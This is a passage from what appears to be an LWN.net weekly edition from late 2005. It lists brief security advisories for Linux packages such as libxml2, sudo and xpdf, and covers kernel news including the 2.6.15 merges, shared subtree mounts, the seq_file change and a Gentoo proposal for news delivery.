Yuuichi Teranishi discovered a flaw in libxml2 versions prior to 2.6.6.
When fetching a remote resource via FTP or HTTP, libxml2 uses special
parsing routines. These routines can overflow a buffer if passed a very
long URL. If an attacker is able to find an application using libxml2 that
parses remote resources and allows them to influence the URL, then this
flaw could be used to execute arbitrary code. |
| Alerts: |
|
Comments (none posted)
libxml2: multiple buffer overflows
| Package(s): | libxml2 |
CVE #(s): | CAN-2004-0989
|
| Created: | October 28, 2004 |
Updated: | August 19, 2009 |
| Description: |
libxml2 prior to version 2.6.14 has multiple buffer overflow
vulnerabilities, if a local user passes a specially crafted
FTP URL, arbitrary code may be executed. |
| Alerts: |
|
Comments (none posted)
libXpm: new buffer overflows
| Package(s): | libXpm |
CVE #(s): | CAN-2005-0605
|
| Created: | March 4, 2005 |
Updated: | March 8, 2006 |
| Description: |
A new vulnerability has been discovered in libXpm, which is included in
OpenMotif and LessTif, that can potentially lead to remote code
execution. |
| Alerts: |
|
Comments (none posted)
lm-sensors: insecure temp files
| Package(s): | lm-sensors |
CVE #(s): | CAN-2005-2672
|
| Created: | August 23, 2005 |
Updated: | November 10, 2005 |
| Description: |
Javier Fernández-Sanguino Peña noticed that the pwmconfig script created
temporary files in an insecure manner. This could allow a symlink attack to
create or overwrite arbitrary files with full root privileges since
pwmconfig is usually executed by root. |
| Alerts: |
|
Comments (1 posted)
lynx: stack overflow
| Package(s): | lynx |
CVE #(s): | CAN-2005-3120
|
| Created: | October 17, 2005 |
Updated: | November 7, 2005 |
| Description: |
Ulf Harnhammar discovered a stack overflow
bug in Lynx when handling connections to NNTP (news) servers. An attacker
could create a web page redirecting to a malicious news server which could
execute arbitrary code as the user running lynx. |
| Alerts: |
|
Comments (none posted)
Mantis: multiple vulnerabilities
| Package(s): | mantisbt |
CVE #(s): | CVE-2005-3091
CVE-2005-3335
CVE-2005-3336
CVE-2005-3338
CVE-2005-3339
|
| Created: | October 28, 2005 |
Updated: | December 22, 2005 |
| Description: |
Mantis contains several vulnerabilities, including a remote file inclusion
vulnerability, an SQL injection vulnerability, multiple cross site
scripting vulnerabilities and multiple information disclosure
vulnerabilities. |
| Alerts: |
|
Comments (none posted)
mod_python: remote access vulnerability
| Package(s): | mod_python |
CVE #(s): | CAN-2005-0088
|
| Created: | February 10, 2005 |
Updated: | April 10, 2006 |
| Description: |
mod_python has a vulnerability in the publisher handler that may allow
a remote user to use a specially crafted URL to allow access to
objects that should be protected. An information leak can result. |
| Alerts: |
|
Comments (none posted)
mysql: buffer overflow
| Package(s): | mysql |
CVE #(s): | CAN-2005-2558
|
| Created: | September 12, 2005 |
Updated: | January 12, 2006 |
| Description: |
The mysql CREATE FUNCTION can be used to create a buffer overflow.
A specially crafted long function name can be used by a local attacker
to crash the server or execute arbitrary code with the privileges of
the server. |
| Alerts: |
|
Comments (none posted)
mysql: low-impact security fix
| Package(s): | mysql |
CVE #(s): | CAN-2005-1636
|
| Created: | July 20, 2005 |
Updated: | February 22, 2006 |
| Description: |
An update to MySQL version 4.1.12 fixes a low-impact security
problem (bz#158689). |
| Alerts: |
|
Comments (1 posted)
ncpfs: multiple vulnerabilities
| Package(s): | ncpfs |
CVE #(s): | CAN-2005-0013
CAN-2005-0014
|
| Created: | January 31, 2005 |
Updated: | May 15, 2006 |
| Description: |
Erik Sjolund discovered two vulnerabilities in the programs bundled
with ncpfs: there is a potentially exploitable buffer overflow in
ncplogin (CAN-2005-0014), and due to a flaw in nwclient.c, utilities
using the NetWare client functions insecurely access files with
elevated privileges (CAN-2005-0013). |
| Alerts: |
|
Comments (none posted)
nfs-utils: arbitrary code execution
| Package(s): | nfs-utils |
CVE #(s): | CAN-2004-0946
|
| Created: | January 11, 2005 |
Updated: | February 27, 2006 |
| Description: |
Arjan van de Ven discovered a buffer overflow in rquotad on 64bit
architectures; an improper integer conversion could lead to a buffer
overflow. An attacker with access to an NFS share could send a specially
crafted request which could then lead to the execution of arbitrary code. |
| Alerts: |
|
Comments (none posted)
ntp: uses wrong gid
| Package(s): | ntp |
CVE #(s): | CAN-2005-2496
|
| Created: | August 26, 2005 |
Updated: | August 11, 2006 |
| Description: |
When starting xntpd with the -u option and specifying the
group by using a string not a numeric gid the daemon uses
the gid of the user not the group. This problem is now fixed
by this update. |
| Alerts: |
|
Comments (none posted)
openssh: GSSAPI credential disclosure
| Package(s): | openssh |
CVE #(s): | CAN-2005-2798
|
| Created: | September 7, 2005 |
Updated: | February 3, 2006 |
| Description: |
OpenSSH prior to version 4.2 will allow GSSAPI credentials to be delegated to users who are not using GSSAPI authentication, possibly leading to the unwanted disclosure of those credentials. OpenSSH 4.2 has the fix.
|
| Alerts: |
|
Comments (none posted)
openssl: protocol rollback
| Package(s): | openssl |
CVE #(s): | CAN-2005-2969
|
| Created: | October 12, 2005 |
Updated: | December 19, 2005 |
| Description: |
OpenSSL prior to version 0.9.7h or 0.9.8a contains a vulnerability which could enable an attacker to force the use of the older, less secure SSL 2.0 protocol. See this advisory for details or this analysis for even more details. |
| Alerts: |
|
Comments (1 posted)
OpenSSL: denial of service vulnerabilities
Comments (1 posted)
openvpn: format string vulnerability
| Package(s): | openvpn |
CVE #(s): | CVE-2005-3393
CVE-2005-3409
|
| Created: | November 2, 2005 |
Updated: | December 12, 2005 |
| Description: |
OpenVPN 2.0.x contains a format string vulnerability which can be exploited by a hostile server; see this advisory for details. |
| Alerts: |
|
Comments (none posted)
pcre3: arbitrary code execution
| Package(s): | pcre3 |
CVE #(s): | CAN-2005-2491
|
| Created: | August 23, 2005 |
Updated: | March 10, 2006 |
| Description: |
A buffer overflow has been discovered in the PCRE, a widely used library
that provides Perl compatible regular expressions. Specially crafted
regular expressions triggered a buffer overflow. On systems that accept
arbitrary regular expressions from untrusted users, this could be exploited
to execute arbitrary code with the privileges of the application using the
library. |
| Alerts: |
|
Comments (none posted)
perl: setuid vulnerabilities
| Package(s): | perl |
CVE #(s): | CAN-2005-0155
CAN-2005-0156
|
| Created: | February 2, 2005 |
Updated: | August 11, 2006 |
| Description: |
There are two vulnerabilities with perl when it is used in a setuid mode. The PERLIO_DEBUG environment variable can be used to overwrite arbitrary files; there is also an associated buffer overflow which can be exploited to gain root access. |
| Alerts: |
|
Comments (none posted)
perl: symlink vulnerability
| Package(s): | perl |
CVE #(s): | CAN-2005-0448
|
| Created: | March 9, 2005 |
Updated: | January 30, 2006 |
| Description: |
The rmtree() function in the File:Path.pm module has a symlink vulnerability which could be exploited to create setuid binaries. |
| Alerts: |
|
Comments (none posted)
phpMyAdmin: local file inclusion and XSS
| Package(s): | phpmyadmin |
CVE #(s): | CVE-2005-2869
CVE-2005-3300
CVE-2005-3301
|
| Created: | October 25, 2005 |
Updated: | November 18, 2005 |
| Description: |
Stefan Esser discovered that by calling certain PHP files directly, it
was possible to workaround the grab_globals.lib.php security model and
overwrite the $cfg configuration array. Systems running PHP in safe
mode are not affected. Futhermore, Tobias Klein reported several
cross-site-scripting issues resulting from insufficient user input
sanitizing. A local attacker may exploit this vulnerability by sending
malicious requests, causing the execution of arbitrary code with the rights
of the user running the web server. Furthermore, the cross-site scripting
issues give a remote attacker the ability to inject and execute malicious
script code or to steal cookie-based authentication credentials,
potentially compromising the victim's browser. |
| Alerts: |
|
Comments (none posted)
phpsysinfo: cross-site-scripting
| Package(s): | phpsysinfo |
CVE #(s): | CAN-2005-0870
|
| Created: | May 18, 2005 |
Updated: | November 15, 2005 |
| Description: |
The phpsysinfo program contains several cross-site scripting vulnerabilities. |
| Alerts: |
|
Comments (none posted)
postgresql: database initialization errors
| Package(s): | postgresql |
CVE #(s): | CAN-2005-1409
CAN-2005-1410
|
| Created: | May 4, 2005 |
Updated: | February 28, 2006 |
| Description: |
PostgreSQL suffers from two vulnerabilities in how databases are set up by default; they allow a local attacker (one with access to the database) to crash the back end and, perhaps, execute code with the privileges of the server process. See this advisory for details and workarounds.
|
| Alerts: |
|
Comments (none posted)
Pound: buffer overflow
| Package(s): | pound |
CVE #(s): | CVE-2005-1391
|
| Created: | May 2, 2005 |
Updated: | January 10, 2006 |
| Description: |
Steven Van Acker has discovered a buffer overflow vulnerability in the
"add_port()" function in Pound 1.8.2+. A remote attacker could send a
request for an overly long hostname parameter, which could lead to the
remote execution of arbitrary code with the rights of the Pound daemon
process. |
| Alerts: |
|
Comments (none posted)
pstotext: remote execution of arbitrary code
| Package(s): | pstotext netpbm |
CVE #(s): | CAN-2005-2471
|
| Created: | August 1, 2005 |
Updated: | March 28, 2006 |
| Description: |
Max Vozeler reported that pstotext calls the GhostScript interpreter on
untrusted PostScript files without specifying the -dSAFER option. An
attacker could craft a malicious PostScript file and entice a user to run
pstotext on it, resulting in the execution of arbitrary commands with the
permissions of the user running pstotext. See this Secunia advisory for more information. |
| Alerts: |
|
Comments (2 posted)
Py2Play: remote execution of arbitrary Python code
| Package(s): | Py2Play |
CVE #(s): | CAN-2005-2875
|
| Created: | September 19, 2005 |
Updated: | September 6, 2006 |
| Description: |
Py2Play uses Python pickles to send objects over a peer-to-peer game network, that clients accept without restriction the objects and code sent by peers. A remote attacker participating in a Py2Play-powered game can send
malicious Python pickles, resulting in the execution of arbitrary
Python code on the targeted game client. |
| Alerts: |
|
Comments (none posted)
rp-pppoe, pppoe: missing privilege dropping
| Package(s): | rp-pppoe, pppoe |
CVE #(s): | CAN-2004-0564
|
| Created: | October 4, 2004 |
Updated: | November 15, 2005 |
| Description: |
Max Vozeler discovered a vulnerability in pppoe, the PPP over Ethernet
driver from Roaring Penguin. When the program is running setuid root
(which is not the case in a default Debian installation), an attacker
could overwrite any file on the file system. |
| Alerts: |
|
Comments (none posted)
smb4k: temporary file vulnerability
| Package(s): | smb4k |
CVE #(s): | CVE-2005-2851
|
| Created: | September 7, 2005 |
Updated: | December 7, 2005 |
| Description: |
Smb4K has a temporary file vulnerability which can allow an unprivileged user to read certain files which would otherwise be inaccessible.
|
| Alerts: |
|
Comments (none posted)
squid: DoS issues
| Package(s): | squid |
CVE #(s): | CAN-2005-2794
CAN-2005-2796
|
| Created: | September 6, 2005 |
Updated: | November 7, 2005 |
| Description: |
Squid-2.5.10-r2 and earlier has three Denial of Service issues. |
| Alerts: |
|
Comments (none posted)
squid: authentication handling
| Package(s): | squid |
CVE #(s): | CAN-2005-2917
|
| Created: | September 30, 2005 |
Updated: | March 15, 2006 |
| Description: |
Upstream developers of squid, the popular WWW proxy cache, have
discovered that changes in the authentication scheme are not handled
properly when given certain request sequences while NTLM
authentication is in place, which may cause the daemon to restart. |
| Alerts: |
|
Comments (none posted)
Squirrelmail: preference modification
| Package(s): | squirrelmail |
CVE #(s): | CAN-2005-2095
|
| Created: | November 2, 2005 |
Updated: | November 2, 2005 |
| Description: |
Versions of Squirrelmail prior to 1.4.5 have an error in how the $_POST variable is handled. As a result, a user's preferences can be viewed and modified. |
| Alerts: |
|
Comments (1 posted)
sudo: missing input sanitizing
| Package(s): | sudo |
CVE #(s): | CVE-2005-2959
|
| Created: | October 25, 2005 |
Updated: | February 19, 2006 |
| Description: |
Tavis Ormandy noticed that sudo, a program that provides limited super
user privileges to specific users, does not clean the environment
sufficiently. The SHELLOPTS and PS4 variables are dangerous and are
still passed through to the program running as privileged user. This
can result in the execution of arbitrary commands as privileged user
when a bash script is executed. These vulnerabilities can only be
exploited by users who have been granted limited super user
privileges. |
| Alerts: |
|
Comments (none posted)
sudo: race condition
| Package(s): | sudo |
CVE #(s): | CAN-2005-1993
|
| Created: | June 21, 2005 |
Updated: | February 24, 2006 |
| Description: |
Charles Morris discovered a race condition in sudo which could lead to
privilege escalation. If /etc/sudoers allowed a user the execution of
selected programs, and this was followed by another line containing
the pseudo-command "ALL", that user could execute arbitrary commands
with sudo by creating symbolic links at a certain time. |
| Alerts: |
|
Comments (none posted)
sysreport: insecure temporary file
| Package(s): | sysreport |
CVE #(s): | CAN-2005-2104
|
| Created: | August 9, 2005 |
Updated: | November 11, 2005 |
| Description: |
Bill Stearns discovered a bug in the way sysreport creates temporary files.
It is possible that a local attacker could obtain sensitive information
about the system when sysreport is run. |
| Alerts: |
|
Comments (none posted)
File overwrite vulnerability in tar and unzip
| Package(s): | tar unzip |
CVE #(s): | CAN-2001-1267
CAN-2001-1268
CAN-2001-1269
CAN-2002-0399
|
| Created: | October 1, 2002 |
Updated: | April 10, 2006 |
| Description: |
The tar utility does not properly filter file names containing
"../", meaning that a hostile archive can, if unpacked by an
unsuspecting user, overwrite any file that is writable by that user. GNU
tar versions 1.13.19 and earlier are vulnerable; unzip through version 5.42
has the same vulnerability. |
| Alerts: |
|
Comments (1 posted)
tcpdump: multiple DoS issues
| Package(s): | tcpdump |
CVE #(s): | CAN-2005-1280
CAN-2005-1279
CAN-2005-1278
|
| Created: | May 2, 2005 |
Updated: | April 10, 2006 |
| Description: |
The rsvp_print function in tcpdump 3.9.1 and earlier allows remote
attackers to cause a denial of service (infinite loop) via a crafted RSVP
packet of length 4. (CAN-2005-1280)
tcpdump 3.8.3 and earlier allows remote attackers to cause a denial of
service (infinite loop) via a crafted BGP packet, which is not properly
handled by RT_ROUTING_INFO, or LDP packet, which is not properly
handled by the ldp_print function. (CAN-2005-1279)
The isis_print function, as called by isoclns_print, in tcpdump 3.9.1 and
earlier allows remote attackers to cause a denial of service (infinite
loop) via a zero length, as demonstrated using a GRE packet.
(CAN-2005-1278) |
| Alerts: |
|
Comments (none posted)
texinfo: temporary file vulnerability
| Package(s): | texinfo |
CVE #(s): | CAN-2005-3011
|
| Created: | October 5, 2005 |
Updated: | November 9, 2006 |
| Description: |
Texinfo prior to version 4.8-r1 suffers from a temporary file vulnerability. |
| Alerts: |
|
Comments (none posted)
TikiWiki: XSS vulnerability
| Package(s): | tikiwiki |
CVE #(s): | |
| Created: | October 28, 2005 |
Updated: | November 2, 2005 |
| Description: |
Due to improper input validation, TikiWiki can
be exploited to perform cross-site scripting attacks. A remote
attacker could exploit this to inject and execute malicious script code or
to steal cookie-based authentication credentials, potentially compromising
the victim's browser. |
| Alerts: |
|
Comments (none posted)
ucd-snmp: denial of service
| Package(s): | ucd-snmp |
CVE #(s): | CAN-2005-2177
|
| Created: | August 9, 2005 |
Updated: | January 27, 2006 |
| Description: |
A denial of service bug was found in the way ucd-snmp uses network stream
protocols. A remote attacker could send a ucd-snmp agent a specially
crafted packet which will cause the agent to crash. |
| Alerts: |
|
Comments (none posted)
uim: privilege escalation
| Package(s): | uim |
CVE #(s): | CVE-2005-3149
|
| Created: | October 4, 2005 |
Updated: | December 7, 2005 |
| Description: |
Masanari Yamamoto discovered that Uim uses environment variables
incorrectly. This bug causes a privilege escalation if setuid/setgid
applications are linked to libuim. This bug only affects
immodule-enabled Qt (if you build Qt 3.3.2 or later versions with
USE="immqt" or USE="immqt-bc"). |
| Alerts: |
|
Comments (none posted)
unzip: race condition
| Package(s): | unzip |
CVE #(s): | CAN-2005-2475
|
| Created: | September 29, 2005 |
Updated: | January 12, 2006 |
| Description: |
Unzip has a race condition vulnerability
in the handling of output files.
During file unpacking, a local attacker can modify the permissions
of arbitrary files in the victim's directory. |
| Alerts: |
|
Comments (none posted)
up-imapproxy: format string vulnerabilities
| Package(s): | up-imapproxy |
CVE #(s): | CAN-2005-2661
|
| Created: | October 10, 2005 |
Updated: | March 7, 2006 |
| Description: |
up-imapproxy contains two format string vulnerabilities which could be exploited to execute arbitrary code.
|
| Alerts: |
|
Comments (none posted)
util-linux: unintentional grant of privileges by umount
| Package(s): | util-linux |
CVE #(s): | CAN-2005-2876
|
| Created: | September 13, 2005 |
Updated: | December 19, 2005 |
| Description: |
Linux umount command as provided in the util-linux package in
versions 2.8 to 2.12q, 2.13-pre1 and 2.13-pre2 grants root privileges. See this BugTraq post for more information. |
| Alerts: |
|
Comments (none posted)
uw-imap: buffer overflow
| Package(s): | uw-imap |
CVE #(s): | CAN-2005-2933
|
| Created: | October 11, 2005 |
Updated: | April 10, 2006 |
| Description: |
"infamous41md" discovered a buffer overflow in uw-imap, the University
of Washington's IMAP Server that allows attackers to execute arbitrary
code. |
| Alerts: |
|
Comments (none posted)
vixie-cron: crontab allows any user to read another users crontabs
| Package(s): | vixie-cron |
CVE #(s): | CAN-2005-1038
|
| Created: | April 15, 2005 |
Updated: | March 15, 2006 |
| Description: |
crontab in Vixie cron 4.1, when running with the -e option, allows local
users to read the cron files of other users by changing the file being
edited to a symlink. NOTE: there is insufficient information to know
whether this is a duplicate of CVE-2001-0235. See also this Security Focus
report. |
| Alerts: |
|
Comments (none posted)
w3c-libwww: possible stack overflow
| Package(s): | w3c-libwww |
CVE #(s): | CVE-2005-3183
|
| Created: | October 14, 2005 |
Updated: | May 2, 2007 |
| Description: |
xtensive testing of libwww's handling of multipart/byteranges content from
HTTP/1.1 servers revealed multiple logical flaws and bugs in
Library/src/HTBound.c |
| Alerts: |
|
Comments (1 posted)
XChat 2.0.x SOCKS5 Vulnerability
| Package(s): | xchat |
CVE #(s): | CAN-2004-0409
|
| Created: | April 19, 2004 |
Updated: | November 15, 2005 |
| Description: |
XChat is vulnerable to a stack overflow that may allow a remote attacker to
run arbitrary code. The SOCKS 5 proxy code in XChat is vulnerable to a
remote exploit. Users would have to be using XChat through a SOCKS 5
server, enable SOCKS 5 traversal which is disabled by default and also
connect to an attacker's custom proxy server. This vulnerability may allow
an attacker to run arbitrary code within the context of the user ID of the
XChat client. |
| Alerts: |
|
Comments (none posted)
xine-lib: buffer overflows
| Package(s): | xine-lib |
CVE #(s): | CAN-2004-1379
|
| Created: | September 22, 2004 |
Updated: | April 10, 2006 |
| Description: |
xine-lib (through version 1_rc6) contains buffer overflows in the subtitle parsing and DVD sub-picture decoder code. |
| Alerts: |
|
Comments (none posted)
xine-ui - insecure temporary file creation
| Package(s): | xine-ui |
CVE #(s): | CAN-2004-0372
|
| Created: | April 6, 2004 |
Updated: | April 27, 2006 |
| Description: |
Shaun Colley discovered a problem in xine-ui, the xine video player
user interface. A script contained in the package to possibly remedy
a problem or report a bug does not create temporary files in a secure
fashion. This could allow a local attacker to overwrite files with
the privileges of the user invoking xine. |
| Alerts: |
|
Comments (none posted)
xloadimage: buffer overflows
| Package(s): | xloadimage |
CVE #(s): | CAN-2005-3178
|
| Created: | October 10, 2005 |
Updated: | May 15, 2006 |
| Description: |
Three buffer overflows were discovered in xloadimage when handling the image title name. A malicious user can construct a NIFF file that when viewed and processed (with either zoom, reduce or rotate) by xloadimage, will cause the program to overwrite the return address and execute arbitrary code. |
| Alerts: |
|
Comments (none posted)
xorg-x11: heap overflow
| Package(s): | xorg-x11 |
CVE #(s): | CAN-2005-2495
|
| Created: | September 12, 2005 |
Updated: | March 8, 2006 |
| Description: |
The pixmap memory allocation code in the X.Org X window system is
vulnerable to an integer overflow, a local user can use this to
execute arbitrary code with elevated privileges. |
| Alerts: |
|
Comments (none posted)
xpdf: buffer overflow
| Package(s): | xpdf |
CVE #(s): | CAN-2005-0064
|
| Created: | January 19, 2005 |
Updated: | March 15, 2007 |
| Description: |
iDEFENSE has found yet another xpdf buffer overflow; see this advisory for details. |
| Alerts: |
|
Comments (1 posted)
xpdf: denial of service
| Package(s): | xpdf kpdf |
CVE #(s): | CAN-2005-2097
|
| Created: | August 9, 2005 |
Updated: | August 2, 2006 |
| Description: |
A flaw was discovered in Xpdf in that could allow an attacker to construct
a carefully crafted PDF file that would cause Xpdf to consume all available
disk space in /tmp when opened. |
| Alerts: |
|
Comments (none posted)
zlib: buffer overflow
| Package(s): | zlib |
CVE #(s): | CAN-2005-1849
|
| Created: | July 21, 2005 |
Updated: | April 11, 2006 |
| Description: |
zlib has a vulnerability that can cause code that executes it to crash
if a corrupted file is opened. |
| Alerts: |
|
Comments (none posted)
Events
LayerOne is a security conference held in the Los Angeles, California
area. The call for papers is out now, with submissions due by
March 31. Click below for the full announcement.
Full Story (comments: none)
Page editor: Jonathan Corbet
Kernel development
Brief items
The current stable 2.6 kernel is 2.6.14.1,
released on November 8. This kernel
contains a single patch for a sysctl-related oops. There was some
unhappiness that the patch for the "zero-length datagrams get dropped" bug,
which breaks bind and tcpdump, was not included. That patch will
turn up in 2.6.14.2, which should be released around November 12.
There is still no 2.6.15 prepatch as of this writing. The merge
window for this cycle is about to close, however, so 2.6.15-rc1 may be out
by the time you read this. An impressive pile of patches has been merged
into the mainline git repository; see the article below for a list of
significant additions since last week.
The current -mm tree is 2.6.14-mm1. Recent changes to
-mm include 64Kb page support for the ppc64 architecture, the swap migration patches, and the
lean-and-mean "slob" allocator. The -mm tree has slimmed down considerably
as patches have been merged into the mainline.
The current 2.4 prepatch is 2.4.32-rc3, released by Marcelo on
November 9. This release candidate adds exactly two patches for
serious problems; the final 2.4.32 release will likely happen soon.
Comments (none posted)
Kernel development news
When you hear voices in your head that tell you to shoot the pope,
do you do what they say? Same thing goes for customers and
managers. They are the crazy voices in your head, and you need to
set them right, not just blindly do what they ask for.
--
Linus Torvalds
Comments (4 posted)
Last week's
what's going into
2.6.15 article had a long list of changes merged into the mainline.
The kernel developers weren't done, however. Here is a list of changes
merged since that article was written:
- A big XFS update (including barrier support).
- A SCSI RDMA protocol initiator for InfiniBand.
- The open-iSCSI patches.
- The removal of the (broken) Compaq fibre channel driver.
- RapidIO bus support.
- The netlink connector patch, with the
process events connector on top.
- A number of packet scheduler improvements.
- An ALSA update.
- The un-exporting of a number of kernel symbols
(clear_page_dirty_for_io,
console_unblank,
cpu_core_id
hugetlb_total_pages,
idle_cpu,
nr_swap_pages,
phys_proc_id,
reprogram_timer,
swapper_space,
sysctl_overcommit_memory,
sysctl_overcommit_ratio,
sysctl_max_map_count,
total_swap_pages,
user_get_super,
uts_sem,
vm_acct_memory, and
vm_committed_space,).
- A big purge of code which checks pointers for NULL prior to
passing them to kfree().
- A big reorganization of the block subsystem code (it has its own top-level
block directory now).
- A memory technology devices update, including support for OneNAND,
Sibley, and resident flash disk devices.
- The shared subtrees
patches.
- An MPPE encryption module for PPP.
- The removal of all Bluetooth-related files from /proc (they are in
/sys/class/bluetooth now).
- Some significant reworking and cleanup of the software suspend code.
- Big changes to the DVB and Video4Linux subsystems, including support
for a number of new devices.
- A number of open sound system drivers are now explicitly scheduled for
removal in January (probably 2.6.16, in other words).
- Version 1 of the Video4Linux API has also been scheduled for removal
(in July, 2006).
- Support for rotation of the console screen (to support mobile devices
which have a natural orientation which is not zero degrees).
- A number of scheduler tweaks to improve efficiency and resource usage
on larger systems.
- Big updates to the ipw2100 and ipw2200 drivers.
There is also the usual big pile of fixes, and a number of architecture
updates.
Comments (1 posted)
The shared subtrees patch set, written primarily by Ram Pai, has been in
circulation for some time, but without a whole lot of discussion. Those
patches have now been merged into the pre-2.6.15 mainline, so the time has
come for a closer look.
In short, shared subtrees allow a system administrator to configure, in
great detail, how various filesystem mounts should appear in the tree, how
they relate to each other, and how they propagate between namespaces.
There are two motivations for this work:
- The "files as directories" feature of the reiser4 filesystem allows
a user to create, via hard links, a directory which appears in
multiple places in the filesystem. That feature has long been
disabled due to the deadlock issues which it raised. Shared subtrees
are a step toward implementing "files as directories" in a safe
manner.
- The merging of the filesystems in user space patch, and some of the
permissions issues
associated with it, has increased the desire to be
able to run users in their own filesystem namespaces. Per-user
namespaces are currently awkward at best; shared subtrees will help
make them easier to manage.
It should be noted that the patches merged into the mainline are not a
complete solution for either of the above problems, but they are a step in
that direction. The per-user namespaces example will be used in what
follows to illustrate how the various subtree options work.
Every filesystem in Linux is mounted within a specific namespace. The
kernel has long supported the creation of multiple namespaces, but, in most
situations, that feature is not used. So the typical Linux system has a
single namespace which is shared between all processes on the system.
When separate namespaces are used, they are usually in the context of
sandboxing and isolation. There would be advantages, however, to making
more extensive use of namespaces.
Imagine, for starters, a simple filesystem hierarchy which looks something
like the diagram at the right. Clearly, a few directories have been left
out for simplicity. The only unusual thing is that a couple of directories
have been created under /subtree for users "alice" and "bob". We
would like to use those directories as the root for each user's own private
view of the filesystem.
The first step is to create a copy of the root filesystem under each user's
subtree directory using bind mounts. The result of such an operation will
look like the diagram below.
Note that the
/subtree tree has been bound into each user's namespace as well.
This propagation cuts down on the isolation between users, since they can
see each others' subtrees. As the number of users grows, it also
complicates the namespaces considerably, as each set of subtrees must be
replicated over and over.
This loss of isolation and explosion of mount points can be avoided through
the use of "unbindable" mounts, a new feature added by the sharable
subtrees patch. Said mounts cannot be
bound into other places, and will not be propagated into new subtrees. So
the administrator could execute a series of commands like:
mount --bind /subtree /subtree
mount --make-unbindable /subtree
This incantation turns /subtree into a magic point which cannot be
rebound. If, after this has been done, the administrator makes the
per-user bind mounts of the root filesystem, the portion under
/subtree will be pruned, with a result which looks like this:
Now imagine that the system administrator mounts a CDROM under
/mnt. The result will look like:
Note that the CDROM mount is not visible in the per-user namespaces, so bob
and alice will be unable to look at the contents of the CD. That might be the
intended result, but imagine it's not, that the administrator wants all
users to be able to see things mounted on /mnt. The answer is a
"sharable" mount, one which is automatically propagated into every place
where the original mount appears. So, the administrator need only perform
another new incantation:
mount --bind /mnt /mnt
mount --make-shared /mnt
After this,
/mnt is a sharable mount. Any changes made there will
appear in any namespace where
/mnt appears. The resulting tree
would look something like this:
Many administrators might rather just make the entire filesystem tree
sharable, rather than try to anticipate where changes could be made. If
the root is made sharable in this way, any new filesystems which are
mounted will propagate throughout the tree. This propagation works all
ways; if alice mounts the CD within her subtree, it will still appear in
all of the subtrees.
Of course, this behavior might not always be desirable. If, for example, bob is
using FUSE to mount an "ssh filesystem" from a remote host, he would prefer
that this filesystem not be visible to other users at all. But bob would
still like to see filesystems mounted elsewhere, and does not want to give
up the advantages of a shared subtree. The answer is yet another type of
mount, called a "slave" mount. Slave mounts are selfish: they remain tied
to their parent mount, and receive new mounts from there. Anything mounted
underneath the slave mount, however, will not be propagated elsewhere. So
each user can have his or her own filesystems which are not part of the
global hierarchy:
The shared subtrees patch also adds a "private" mount type, which is
essentially how mounts in 2.6.14 and prior kernels work. A private mount
will not be propagated to any other mounts, but it can (unlike an
unbindable mount) be explicitly propagated via a bind operation.
Internally, the patches create the concept of a "peer group," among which
mount events are propagated. A new mnt_share field (a list of
peers) has been added to the vfsmount structure for this purpose.
A couple of other lists (mnt_slave_list and mnt_slave)
have been added for keeping track of slave mount relationships. A new
MNT_UNBINDABLE flag marks unbindable mounts. And, of course, a
great deal of locking work has been done to make all of this work in a safe
manner. Al Viro has worked with a few iterations of the shared subtrees
patch, with the result that it is now considered to be ready for the
mainline.
The shared subtrees patch is a big step forward: it is a fundamental change
to the virtual filesystem layer which greatly increases the flexibility in
how namespaces can be populated and presented to users. What remains, at
this point, is some work on the namespace side of things. Namespaces are
still unnamed objects which can only be inherited from a parent process;
there is no easy way to create and attach to a per-user namespace.
Finishing the job will take some work, but, chances are, the hardest part
of the problem has been solved.
For more information, see the extensive
documentation file shipped with the patch.
Comments (18 posted)
The
seq_file mechanism is a
helper for kernel subsystems wanting to create lengthy virtual files,
usually in
/proc. 2.6.15 will include a small enhancement which
may prove helpful for some users.
When user space opens a virtual file, the kernel must, in turn, call
seq_open() to set things up. On return, the file
structure passed to seq_open() will have, in its
private_data field, a pointer to the seq_file structure
created at open time. That is the same structure which will be passed to
the seq_file iterator functions, and which must be used when actually
generating output.
Traditionally, seq_open() has always allocated the
seq_file structure itself. In 2.6.15, however, it will examine
the private_data field first, and, if that field is
non-NULL, it will assume that the seq_file has already
been allocated by the caller. This change allows seq_file users to embed
the structure within something larger. It is worth noting, though, that
seq_release() still frees the seq_file structure
regardless of who created it. Among other things, that implies that, if
the caller allocates a seq_file structure within a larger
structure, the seq_file structure must appear at the beginning.
Comments (none posted)
Last week's article on
fragmentation avoidance concluded with these famous last words:
But there are legitimate reasons for wanting this capability in the
kernel, and the issue is unlikely to go away. Unless somebody comes
up with a better solution, it could be hard to keep Mel's patch out
forever.
One thing which can keep a patch out of the kernel, however, is
opposition from Linus, and that is what has happened in this case. His position is that fragmentation avoidance is
"totally useless," and he concludes:
Don't do it. We've never done it, and we've been fine.
The right solution, according to Linus, is to create a special memory zone
on the (rare) systems which need to be able to free up large, contiguous
blocks of memory. Kernel memory allocations would not be allowed in that
zone, so it would only contain user-space pages. Those pages are
relatively easy to move when the need arises, so most needs would be
satisfied. A certain amount of kernel tuning would be required, but that
is the price to be paid for running highly-specialized applications.
This approach is not pleasing to everybody involved. Andi Kleen noted:
You have two choices if a workload runs out of the kernel
allocatable pages. Either you spill into the reclaimable zone or
you fail the allocation. The first means that the huge pages thing
is unreliable, the second would mean that all the many problems of
limited lowmem would be back.
Others have noted that it can be hard to tune a machine for all workloads,
especially on systems with a large number of users. Objections
notwithstanding, it begins to look like active fragmentation avoidance is
not likely to go into the 2.6 kernel anytime soon.
Comments (none posted)
Patches and updates
Kernel trees
Core kernel code
Development tools
Device drivers
Filesystems and block I/O
Janitorial
Memory management
Networking
Architecture-specific
Security-related
Miscellaneous
Page editor: Jonathan Corbet
Distributions
News and Editorials
Gentoo Linux Enhancement Proposal (GLEP) #42 proposes a new way of
informing Gentoo users about important updates and critical news. Although
Gentoo already has several methods of informing their users of critical
information, it is clear that many users are not getting the message.
Instead, the mailing lists and forums get clogged with irate users
who have
failed updates and broken systems. A
second
draft of this GLEP proposes a solution that pushes the news items out
to the user via the ``rsync`` tree.
An ideal solution would make sure that users are told of changes *before*
they break the user's system, with no subscription or monitoring required.
Notices should be relevant to the user receiving it. If a user gets every
notice, including those specific to packages they don't have installed,
they are more likely to miss something that they really did need to see.
The solution should not require or assume that everyone has an MTA, web
browser, email client, cron daemon or text processing suite available on
their system and it should not require the user to give up private
information. Multiple delivery methods should be supported so that each
user has a choice in how to receive the information.
Ideally a method for supplying each message in multiple languages would be
beneficial, and there should be quality control to insure that the
messages are coherent, understandable, concise, and relevant.
The proposal favors the use of the Portage tree to disseminate this critical
